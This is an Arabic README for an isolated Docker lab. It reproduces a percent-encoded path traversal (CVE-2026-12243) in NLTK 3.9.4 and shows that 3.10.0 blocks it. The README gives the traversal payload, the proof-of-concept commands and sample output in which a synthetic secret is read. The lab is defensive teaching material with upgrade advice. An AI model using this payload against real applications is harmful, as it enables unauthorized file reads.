
مختبر Docker يوضح ثغرة اجتياز المسار CVE-2026-12243 في NLTK قبل الإصدار 3.10.0، مع مقارنة السلوك الضعيف والسلوك المُصحح باستخدام سر اصطناعي في بيئة معزولة وغير متصلة بالإنترنت.
مختبر Docker صغير وقابل لإعادة الإنتاج يقارن سلوك اجتياز المسار المشفّر بنسبة مئوية في NLTK 3.9.4 مع السلوك المُصحَّح في NLTK 3.10.0.
الإصدار المعرّض للثغرة يتحقق من اسم المورد قبل فك ترميز عنوان URL. الحمولة الثابتة %2e%2e/%2e%2e/outside/lab-secret.txt تجتاز الفحص، ثم يتم فك ترميزها لاحقاً إلى ../../outside/lab-secret.txt، وتهرب من كلٍّ من دليل بيانات NLTK المُعدّ ودليل عمل العملية. الإصدار المُصحَّح يرفض نفس المدخلات.
[!CAUTION] هذا المستودع مخصص للأغراض التعليمية الدفاعية والاختبار المصرّح به فقط. يستخدم المختبر سراً اصطناعياً ثابتاً داخل حاوية معزولة. لا تقم بتكييفه للوصول إلى أنظمة أو بيانات لا تملكها أو ليس لديك إذن صريح لاختبارها.
| الحاوية | إصدار NLTK | النتيجة المتوقعة |
|---|---|---|
vulnerable | 3.9.4 | يقرأ العلامة الاصطناعية خارج /lab/nltk_data |
patched | 3.10.0 |
لا يتم استخدام أي تنزيل للمجموعة النصية، أو خادم، أو منفذ، أو ربط وحدات تخزين، أو اتصال إنترنت أثناء التشغيل.
docker compose)run.shgit clone https://github.com/morzelowski/CVE-2026-12243-NLTK-PoC.git
cd CVE-2026-12243-NLTK-PoC
docker compose build
./run.sh
النتيجة المتوقعة:
=== Vulnerable image: NLTK 3.9.4 ===
NLTK version : 3.9.4
Working directory : /app
Configured data dir: /lab/nltk_data
Encoded resource : %2e%2e/%2e%2e/outside/lab-secret.txt
Decoded resource : ../../outside/lab-secret.txt
Resolved candidate : /outside/lab-secret.txt
NLTK warning : Security Violation [pathsec.open]: Unauthorized path /outside/lab-secret.txt
NLTK result : read 36 bytes
Synthetic marker : CVE-2026-12243-SYNTHETIC-LAB-MARKER
[PASS] Traversal escaped the configured NLTK data directory.
=== Patched image: NLTK 3.10.0 ===
NLTK version : 3.10.0
NLTK result : blocked (ValueError: Unsafe resource path: '...')
[PASS] Patched version rejected the same encoded traversal.
Lab completed: traversal reproduced and patched rejection verified.
الصورة المتأثرة تُبلغ أن /outside/lab-secret.txt غير مصرح به ولكنها لا تزال تُرجع محتوياته لأن NLTK 3.9.4 يستخدم أمان مسار يعتمد على التحذير فقط بشكل افتراضي. قد يختلف نص الاستثناء والتحذير قليلاً؛ يستخدم run.sh حالة خروج العملية، وليس مطابقة نصية هشة، لتحديد ما إذا كان العرض التوضيحي ناجحاً.
تحتوي كل صورة على هذا التخطيط المنفصل عمداً:
/
├── app/
│ └── poc.py # process CWD is /app
├── lab/
│ └── nltk_data/ # configured NLTK search root
└── outside/
└── lab-secret.txt # public synthetic marker
يستبدل poc.py مسار nltk.data.path بـ /lab/nltk_data ويمرر اسم المورد الثابت %2e%2e/%2e%2e/outside/lab-secret.txt إلى nltk.data.load(..., format="raw"). في الإصدار المتأثر، يحدث فك الترميز متأخراً جداً في تدفق التحقق:
/lab/nltk_data
↓ ../../outside/lab-secret.txt
/outside/lab-secret.txt
نظراً لأن دليل العمل هو /app، فإن العلامة الاختبارية تقع خارج الموقعين المهمين للعرض التوضيحي: /app و /lab/nltk_data.
يحتوي السكربت على تأكيدين صريحين:
أي نتيجة أخرى تُنهي العملية برمز خروج غير صفري، بحيث لا يمكن للفحوصات الآلية الإبلاغ عن نجاح كاذب.
تكوين Compose يحدّ المختبر عمداً:
network_mode: none يعطّل الشبكات أثناء تشغيل أي من العرضين التوضيحيين.no-new-privileges.noexec قابل للكتابة.fixtures/lab-secret.txt، وهي علامة اختبار عامة تُنسخ إلى الصورة أثناء البناء.يتطلب بناء الصورة الوصول إلى فهرس الحزم لتثبيت إصدارَي NLTK المثبّتين. تشغيل وقت التشغيل يكون دون اتصال.
nltk.data.load() أو nltk.data.find()يُثبّت المختبر الإصدار 3.9.4 لأنه الإصدار المحدد المذكور في التقرير الأصلي، و3.10.0 لأنه أول إصدار مُصحَّح مسجّل في نشرة الصيانة.
قم بترقية NLTK وإبقائه محدثاً:
python -m pip install "nltk>=3.10.0"
تجنّب أيضاً تمرير أسماء موارد غير موثوقة إلى واجهات برمجة تحميل الملفات. عندما يكون اختيار المستخدم مطلوباً، قم بتعيين معرّفات مواجهة المستخدم إلى قائمة سماح من الموارد المملوكة للتطبيق بدلاً من قبول المسارات أو عناوين URL مباشرة.
شغّل أي جانب بشكل مستقل:
docker compose run --rm vulnerable
docker compose run --rm patched
افحص تكوين Compose المُحلَّل بالكامل:
docker compose config
أزل صور المختبر المبنية محلياً:
docker compose down --rmi local
permission denied: ./run.sh — نفّذ chmod +x run.sh مرة واحدة.docker: command not found — ثبّت Docker Desktop أو Docker Engine.docker compose build --no-cache.aec4fceصدر بموجب رخصة MIT.
| يمنع الاجتياز المشفّر |